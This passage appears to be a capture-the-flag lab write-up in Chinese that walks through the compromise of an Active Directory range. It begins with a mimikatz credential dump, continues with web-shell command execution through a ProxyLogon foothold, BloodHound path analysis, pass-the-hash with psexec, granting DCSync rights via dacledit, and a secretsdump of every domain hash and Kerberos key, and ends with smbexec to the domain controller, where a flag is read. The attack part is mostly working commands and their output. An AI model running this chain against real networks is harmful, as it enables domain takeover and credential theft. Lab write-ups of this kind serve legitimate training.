SID               : S-1-5-90-0-3
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 14280773 (00000000:00d9e845)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 17:41:51
SID               : S-1-5-90-0-3
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:31
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 65820 (00000000:0001011c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:29
SID               : S-1-5-90-0-1
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : 9587463cfa3fd1ea760c401e2c52e224
	 * SHA1     : 162fc915ffccfa73c6f53b3c92f02690ccf7831c
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : 12 ae e6 f2 22 80 c0 a3 cd 84 c9 94 de ef 96 52 79 ff ea 99 f6 9c 67 48 10 08 e7 99 1a fa 51 11 ad b6 c1 79 cc 6d 04 b2 22 01 47 b0 53 b5 7e ff df 04 21 34 ae 7b ee c9 cf b1 c1 d3 c0 63 d3 d7 6a f2 3a 38 83 ac cf d2 93 7b d3 0b bb d6 a5 8d 7c cd f1 77 65 0b 8c 77 dd 98 49 3c 21 f0 5d fc a7 8f c7 e0 5b f7 96 4d d2 46 14 81 8f 4f a7 a4 27 11 09 03 f9 f4 0d ce 71 4d 8d 64 c3 a9 6b 5c 4a 77 ba ac 33 1a 49 60 11 bd 4d b2 1e 98 05 1a c1 03 5b c6 cf 4e 1c d3 83 10 52 51 68 c4 b1 e0 65 c2 36 f3 a6 3f 66 c6 95 8c 3d 47 ab 9b cb 35 bd 53 f0 6f 13 ae 48 28 5e cf 5b ee 45 ce 7f 10 47 aa e6 f0 d3 09 c0 b3 ad ef 24 00 c5 c8 f0 7f a5 06 93 0e f5 a4 2a ec d0 25 96 4d a4 88 d3 55 94 d9 94 81 ef 8b ba 9e 89 b6 36 dc 88 64 8d 96 
	ssp :	
	credman :	

Authentication Id : 0 ; 23845 (00000000:00005d25)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:13
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	 [00000000]
	 * Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
	 * Domain   : (null)
	 * Password : &Y5:Q%:b@NE4Q_>TjBV@I+&&5mcN/A84TLlO:EE!IV(tCh6jS%w+jgP9Ik*kSN/gowtV6jGsr[}PvCUp6LVVJ1gE=%Q.=Zv^e^;@@Nl8krJLU_T6T_Gq3Y_[Pvft4dtA
	 [00000001]
	 * Username : HealthMailbox0d5918ea7298475bbbb7e3602e1e289d@xiaorang.lab
	 * Domain   : (null)
	 * Password : &Y5:Q%:b@NE4Q_>TjBV@I+&&5mcN/A84TLlO:EE!IV(tCh6jS%w+jgP9Ik*kSN/gowtV6jGsr[}PvCUp6LVVJ1gE=%Q.=Zv^e^;@@Nl8krJLU_T6T_Gq3Y_[Pvft4dtA
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : XIAORANG-EXC01$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:13
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : xiaorang-exc01$
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 11299142 (00000000:00ac6946)
Session           : Service from 0
User Name         : DefaultAppPool
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 2026/6/7 16:56:13
SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
	 * Password : e0 77 2e b1 ae 05 fb 5c f4 35 a4 55 d9 fe ee c4 0f ff 84 fc ac e1 61 25 d3 7a 6d 32 9e 94 e0 58 2e 56 86 92 ae 8a 9f 70 2f 43 ff 41 67 bb fa e5 98 6a aa c3 58 10 ac 78 00 b0 9c 7a 7e d2 30 f3 1a 5c cb cd fd 91 b8 bd a6 1f 3c 0a 50 b2 af 45 00 4d 0c 39 07 b6 11 bd 99 43 29 18 b5 be 4d 16 69 1a 42 cb 63 ed 99 5c 67 9f 80 9b 1b 34 09 29 04 8f f4 2c a1 d0 a7 9c e8 5e c3 36 02 fa 3f 55 32 c2 0e 42 d8 62 dc 3e 00 ed 8b c1 8b 0e 76 f8 db ba 2d 15 79 a1 b8 b2 66 32 35 51 37 84 67 cf 19 ca 26 74 43 dd e4 4f 4a 40 3f e9 03 9f 57 a5 fc b4 8a 98 a4 a5 16 c6 d6 b1 8c f7 46 13 31 00 a0 f4 f2 ad 93 2a ff fa 7d c4 a9 39 ba bc 2d d6 ea 38 22 68 7c 16 59 ef f4 53 9c 60 5f 8e e9 0e e7 bc 22 1a 37 df 9c 48 6d 9d fc 39 f4 6e ce f2 
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : XIAORANG-EXC01$
Domain            : XIAORANG
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:29
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : b73cc848feee559386b99bd85fed7e20
	 * SHA1     : d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : xiaorang-exc01$
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 14287651 (00000000:00da0323)
Session           : RemoteInteractive from 3
User Name         : test1
Domain            : XIAORANG-EXC01
Logon Server      : XIAORANG-EXC01
Logon Time        : 2026/6/7 17:41:51
SID               : S-1-5-21-804691931-3750513266-524628342-1000
	msv :	
	 [00000003] Primary
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * NTLM     : 51a52c415264a8fc31520f66f2f50459
	 * SHA1     : fd8d24d6cc3b3cb3980fc67a4e83a3023af0c508
	tspkg :	
	wdigest :	
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * Password : (null)
	kerberos :	
	 * Username : test1
	 * Domain   : XIAORANG-EXC01
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 2197719 (00000000:002188d7)
Session           : RemoteInteractive from 2
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/6/7 15:08:10
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 102969 (00000000:00019239)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2026/6/7 15:06:30
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG.LAB
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/6/7 15:06:29
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

mimikatz(commandline) # exit
Bye!

前置知识：

Authentication Id：一个唯一的登录会话 ID，用于在系统内部标识不同的登录会话。
Session 类型：如 RemoteInteractive（远程桌面登录）、NetworkCleartext（网络明文登录）、Service（服务登录）。这告诉你凭据是通过何种方式进入内存的，有助于理解网络环境。
msv / wdigest / kerberos：不同的身份验证协议模块。msv 通常包含 NTLM 哈希，wdigest 可能包含明文密码（在旧版或特定配置下），kerberos 则包含 Kerberos 票据的密钥。

信息整理一下：

User Name         : test1
Domain            : XIAORANG-EXC01 #test1是属于工作组中XIAORANG-EXC01这台计算机的用户
NTLM              : 51a52c415264a8fc31520f66f2f50459

mimikatz重要信息

域用户 Zhangtong 的 NTLM Hash

Username: Zhangtong
Domain: XIAORANG #属于XIAORANG这个域的域用户
NTLM: 22c7f81993e96ac83ac2f3f1903de8b4

机器用户的hash

这是 Exchange 服务器自身的计算机（机器）账户。在域中，每台计算机都有一个以 $ 结尾的账户

1. 主要机器账户哈希
Username: XIAORANG-EXC01$
Domain: XIAORANG
NTLM: b73cc848feee559386b99bd85fed7e20
SHA1: d5d68e8fe01b3e127d155fd5ff8c1a45a2f89f49
出现频率：在输出中出现超过 10 次
关联进程：DWM、IIS AppPool、DefaultAppPool 等
Kerberos 密钥：同时提取到了 Kerberos AES 密钥（十六进制格式）

2. 第二个机器账户哈希
Username: XIAORANG-EXC01$
NTLM: 9587463cfa3fd1ea760c401e2c52e224
出现在 Authentication Id 0 ; 65820（DWM-1 会话中）

同个用户，hash不同的解决方法

在mimikatz信息收集的过程中，也许会出现一个用户，出现两个及以上的hash，在多个不同会话和进程中反复出现，被广泛使用、持续活跃的，登陆回话时间最新的hash，更值得信任一一些

BloodHound分析域环境：

注意这里要用刚刚ProxyLogon打下来的shell（因为这个shell执行的是system权限的命令），不能使用刚刚远程加的用户，远程加的本地administrator用户（test1）是没有域权限的，SharpHound.exe可以用rdp手动复制上去

proxychains4 -q  curl --request POST --url https://172.22.3.9/owa/auth/fl1dw.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("C:/Users/test1/sharphound-v2.11.0/SharpHound.exe -c all --OutputDirectory C:/Windows/Temp/").stdout.readall())' -k

先将bloodhound上次的信息删除

勾选全部，然后delete

然后将“delete…..“这句话复制进去，confirm确认删除

再将这次信息收集的zip包导入

搜索zhangtong这个域用户

这里正在导入，当Ingesting变成conplete时，数据就成功导入了

搜索我们已经拿下的zhangtong，右键把它设成own（已拥有），右下角就会附上骷髅头，意思是我们已经拿下的域用户

XIAORANG-EXC01这个主机有这两个会话，如果你要用mimikatz导的话，能导出两个用户的hash出来

搜索到域管的最短路径

1.Exchange 服务器计算机账户（XIAORANG-EXC01$）是 Exchange Trusted Subsystem 组的直接成员

2.Exchange Trusted Subsystem 是 Exchange Windows Permissions 的成员 （因此XIAORANG-EXC01$ 间接也是 Exchange Windows Permissions 的成员）

3.Exchange Windows Permissions 组对域对象拥有 WriteDacl 权限

4.本地管理员组可写域管理员组

已控计算机XIAORANG-EXC01$ 
   → 是 Exchange Trusted Subsystem(88) 的成员
   → 通过组嵌套，也是 Exchange Windows Permissions(90) 的成员
   → 该组对域(821) 拥有 WriteDacl 权限

WriteDacl 允许修改目标对象（这里是整个域）的 访问控制列表（ACL）。这意味着任何属于 Exchange Windows Permissions 的成员（包括节点 2）都可以：

为任意用户（如已控的用户 Zhangtong）授予 DCSync 权限 （通过添加 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 扩展权限）
直接将任意用户添加到 Domain Admins 组 （通过修改域对象的 ntSecurityDescriptor 中的 ACE）

这个靶场只能通过给 Zhangtong授予 DCSync 权限拿下域控

给 `Zhangtong`授予 DCSync 权限

前面我们已经拿到了机器用户的哈希，这里用psexec.py进行PTH获取system权限的可交互shell：

proxychains -q python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes 00000000000000000000000000000000:b73cc848feee559386b99bd85fed7e20 xiaorang/XIAORANG-EXC01\$@172.22.3.9

为Zhangtong用户添加DCSync权限：

┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# proxychains4 -q python3 /usr/share/doc/python3-impacket/examples/dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :b73cc848feee559386b99bd85fed7e20 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2  #用XIAORANG-EXC01的机器账户的hash
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260607-182954.bak
[*] DACL modified successfully!

将DCSync权限（用于域同步和密码哈希提取）授予 Zhangtong 账户，目标域为 xiaorang.lab，操作通过IP地址为 172.22.3.2 的域控制器完成。

拿Zhangtong去dump所有域用户的哈希

└─$ proxychains4 -q python3 /usr/share/doc/python3-impacket/examples/secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8fa79a52e918cb0cbcd1c0ede492647:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\$431000-7AGO1IPPEUGJ:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_46bc0bcd781047eba:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2554056e362e45ba9:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_ae8e35b0ca3e41718:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_341e33a8ba4d46c19:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_3d52038e2394452f8:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2ddd7a0d26c84e7cb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_015b052ab8324b3fa:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_9bd6f16aa25343e68:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_68af2c4169b54d459:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\HealthMailbox8446c5b:1135:aad3b435b51404eeaad3b435b51404ee:554007a5c41f20070ea66385260dcc58:::
xiaorang.lab\HealthMailbox0d5918e:1136:aad3b435b51404eeaad3b435b51404ee:d826c61453ba38b541914081bed08574:::
xiaorang.lab\HealthMailboxeda7a84:1137:aad3b435b51404eeaad3b435b51404ee:1e89e23e265bb7b54dc87938b1b1a131:::
xiaorang.lab\HealthMailbox33b01cf:1138:aad3b435b51404eeaad3b435b51404ee:0eff3de35019c2ee10b68f48941ac50d:::
xiaorang.lab\HealthMailbox9570292:1139:aad3b435b51404eeaad3b435b51404ee:e434c7db0f0a09de83f3d7df25ec2d2f:::
xiaorang.lab\HealthMailbox3479a75:1140:aad3b435b51404eeaad3b435b51404ee:c43965ecaa92be22c918e2604e7fbea0:::
xiaorang.lab\HealthMailbox2d45c5b:1141:aad3b435b51404eeaad3b435b51404ee:4822b67394d6d93980f8e681c452be21:::
xiaorang.lab\HealthMailboxec2d542:1142:aad3b435b51404eeaad3b435b51404ee:147734fa059848c67553dc663782e899:::
xiaorang.lab\HealthMailboxf5f7dbd:1143:aad3b435b51404eeaad3b435b51404ee:e7e4f69b43b92fb37d8e9b20848e6b66:::
xiaorang.lab\HealthMailbox67dc103:1144:aad3b435b51404eeaad3b435b51404ee:4fe68d094e3e797cfc4097e5cca772eb:::
xiaorang.lab\HealthMailbox320fc73:1145:aad3b435b51404eeaad3b435b51404ee:0c3d5e9fa0b8e7a830fcf5acaebe2102:::
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::
Zhangtong:1147:aad3b435b51404eeaad3b435b51404ee:22c7f81993e96ac83ac2f3f1903de8b4:::
XIAORANG-WIN16$:1000:aad3b435b51404eeaad3b435b51404ee:32e7d022c28b7c71597c2fd3286480cd:::
XIAORANG-EXC01$:1103:aad3b435b51404eeaad3b435b51404ee:b73cc848feee559386b99bd85fed7e20:::
XIAORANG-PC$:1104:aad3b435b51404eeaad3b435b51404ee:017f1d98dd4845ee563a71e1baf1feb7:::
[*] Kerberos keys grabbed
xiaorang.lab\Administrator:aes256-cts-hmac-sha1-96:d35b5e1dedca8060e674610041c5095c853724ca50c986c909a955b15fadf630
xiaorang.lab\Administrator:aes128-cts-hmac-sha1-96:8b17084cfa8d1c1d37c13201d68ec0cf
xiaorang.lab\Administrator:des-cbc-md5:d9c4a4d5348f0d73
krbtgt:aes256-cts-hmac-sha1-96:951d91f55df01d8e3013f433c695fd9684ac2f9f5c08fa815f751c894ca749f9
krbtgt:aes128-cts-hmac-sha1-96:7aa1c6c1f4080fdbf150cf5b6385c480
krbtgt:des-cbc-md5:700d434046231a9e
xiaorang.lab\HealthMailbox8446c5b:aes256-cts-hmac-sha1-96:faf8611d1257e2643465b48b0abff808611e6b95dd7bcda43c9f3386465d8ec0
xiaorang.lab\HealthMailbox8446c5b:aes128-cts-hmac-sha1-96:20cad23e20fa63771bbb843aa9e32962
xiaorang.lab\HealthMailbox8446c5b:des-cbc-md5:329d25f298ba982f
xiaorang.lab\HealthMailbox0d5918e:aes256-cts-hmac-sha1-96:0e8196933ab7d1a87b0569c7b77ae4c4b894b838410013c480c06946c3b26db4
xiaorang.lab\HealthMailbox0d5918e:aes128-cts-hmac-sha1-96:295c1994e06a1c1fa7c595ac514ac2bf
xiaorang.lab\HealthMailbox0d5918e:des-cbc-md5:fef7239e02839b8c
xiaorang.lab\HealthMailboxeda7a84:aes256-cts-hmac-sha1-96:0dfb6bdfa6f3592f55baf1c228686597e00b1361eca1441a1fdf0c3599507fd7
xiaorang.lab\HealthMailboxeda7a84:aes128-cts-hmac-sha1-96:f20b096f3ad270e4c36876fd0f1f4a09
xiaorang.lab\HealthMailboxeda7a84:des-cbc-md5:3458ec32a815ce0b
xiaorang.lab\HealthMailbox33b01cf:aes256-cts-hmac-sha1-96:801e2feead7ae5074578fad5eac0d3dabd92f0445068e0a69232ce5bd8ca76f4
xiaorang.lab\HealthMailbox33b01cf:aes128-cts-hmac-sha1-96:3136e1be7138a8d29fa10bc3f2cf6f99
xiaorang.lab\HealthMailbox33b01cf:des-cbc-md5:3283a2dc518680f7
xiaorang.lab\HealthMailbox9570292:aes256-cts-hmac-sha1-96:f3aba1d52f3131e46d916fbd04817b43281b76b86b56dad24f808538e91363cc
xiaorang.lab\HealthMailbox9570292:aes128-cts-hmac-sha1-96:ee9802236d43d7e5695190232c044d63
xiaorang.lab\HealthMailbox9570292:des-cbc-md5:37d30719e940d679
xiaorang.lab\HealthMailbox3479a75:aes256-cts-hmac-sha1-96:721d8bcbbe316a0ec1a7f0aa3ce3519b4d7c3281a571e900b41384e5583d2c84
xiaorang.lab\HealthMailbox3479a75:aes128-cts-hmac-sha1-96:18353920e23e46ef0a834fe5cd5a481b
xiaorang.lab\HealthMailbox3479a75:des-cbc-md5:8a3d2cf261386ba8
xiaorang.lab\HealthMailbox2d45c5b:aes256-cts-hmac-sha1-96:ff6aac30c110e42185c90561d0befebb0b462553737d05aec9c6dcb660612ffd
xiaorang.lab\HealthMailbox2d45c5b:aes128-cts-hmac-sha1-96:5117b1a04caa9925f508eeb0bd6ffa35
xiaorang.lab\HealthMailbox2d45c5b:des-cbc-md5:df2ca48c1525dccb
xiaorang.lab\HealthMailboxec2d542:aes256-cts-hmac-sha1-96:a63a5cb34f7d503c61af2a96508ed826b0ad4daf10198f2b709b75bc58789e90
xiaorang.lab\HealthMailboxec2d542:aes128-cts-hmac-sha1-96:bfe7ece929174b6ba1d643e87f37cf7a
xiaorang.lab\HealthMailboxec2d542:des-cbc-md5:5bf42601e608df31
xiaorang.lab\HealthMailboxf5f7dbd:aes256-cts-hmac-sha1-96:824ea1eadc05dc8b0ed26c3ff0696c9e2fc145ad2d08dd5dbb1c6428f4eb074f
xiaorang.lab\HealthMailboxf5f7dbd:aes128-cts-hmac-sha1-96:c62918a735c4fde6b5db99d9c441200c
xiaorang.lab\HealthMailboxf5f7dbd:des-cbc-md5:46e654e5649d6732
xiaorang.lab\HealthMailbox67dc103:aes256-cts-hmac-sha1-96:c439db29ecbe032623449f1298a0537e6ed26c71dbd457574ac710c0e7c175e4
xiaorang.lab\HealthMailbox67dc103:aes128-cts-hmac-sha1-96:a952200f4f439c33c289f5a5408f902b
xiaorang.lab\HealthMailbox67dc103:des-cbc-md5:751013ef3ee36225
xiaorang.lab\HealthMailbox320fc73:aes256-cts-hmac-sha1-96:a00af0ea0627c6497a806ebcd11c432f7c9658044ca4947438bfca3e371a8363
xiaorang.lab\HealthMailbox320fc73:aes128-cts-hmac-sha1-96:af5f9c02443cef462bb6b5456b296d60
xiaorang.lab\HealthMailbox320fc73:des-cbc-md5:1949dc2c7c98bc20
xiaorang.lab\Lumia:aes256-cts-hmac-sha1-96:25e42c5502cfc032897686857062bba71a6b845a3005c467c9aeebf10d3fa850
xiaorang.lab\Lumia:aes128-cts-hmac-sha1-96:1f95632f869be1726ff256888e961775
xiaorang.lab\Lumia:des-cbc-md5:313db53e68ecf4ce
Zhangtong:aes256-cts-hmac-sha1-96:ae16478a2d05fedf251d0050146d8d2e24608aa3d95f014acd5acb9eb8896bd5
Zhangtong:aes128-cts-hmac-sha1-96:970b0820700dfa60e2c7c1af1d4bbdd1
Zhangtong:des-cbc-md5:9b61b3583140c4b5
XIAORANG-WIN16$:aes256-cts-hmac-sha1-96:fae93046cb402e40f2ec582103c57eda723a8f540cffb48670e400c0725ae1e0
XIAORANG-WIN16$:aes128-cts-hmac-sha1-96:4480fe205dbf319daaa01e77271b6e67
XIAORANG-WIN16$:des-cbc-md5:d98c0eb6dc8931ea
XIAORANG-EXC01$:aes256-cts-hmac-sha1-96:73e7ca49fb637be6e47b3cb4eaf253c04110bc3da0ada5ad7a8257de807442d3
XIAORANG-EXC01$:aes128-cts-hmac-sha1-96:bd79755ef99893a7af55cd049b4bccac
XIAORANG-EXC01$:des-cbc-md5:c7a8438a0e9b62fd
XIAORANG-PC$:aes256-cts-hmac-sha1-96:014e4236808148a69aacb2a3abc1ee72d431d49a83ac4d16079eaccf7c7528e1
XIAORANG-PC$:aes128-cts-hmac-sha1-96:b8cd1bb7e095c57611801ffb308524a6
XIAORANG-PC$:des-cbc-md5:dfc825e09140b519
[*] Cleaning up...

pth拿dc

└─# proxychains4 -q impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.2 -codec gbk
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>type C:\users\administrator\flag\flag.txt
____  ___.___   _____   ________ __________    _____    _______    ________ 
\   \/  /|   | /  _  \  \_____  \\______   \  /  _  \   \      \  /  _____/ 
 \     / |   |/  /_\  \  /   |   \|       _/ /  /_\  \  /   |   \/   \  ___ 
 /     \ |   /    |    \/    |    \    |   \/    |    \/    |    \    \_\  \
/___/\  \|___\____|__  /\_______  /____|_  /\____|__  /\____|__  /\______  /
      \_/            \/         \/       \/         \/         \/        \/ 



flag04: flag{128ffd12-d71c-4470-b5e8-29e8055bfa29}

第四台172.22.3.26

smbclient横向26，SMB共享访问,Lumia用户桌面有个secret.zip

└─$ proxychains4  -q impacket-smbclient -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -dc-ip 172.22.3.2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
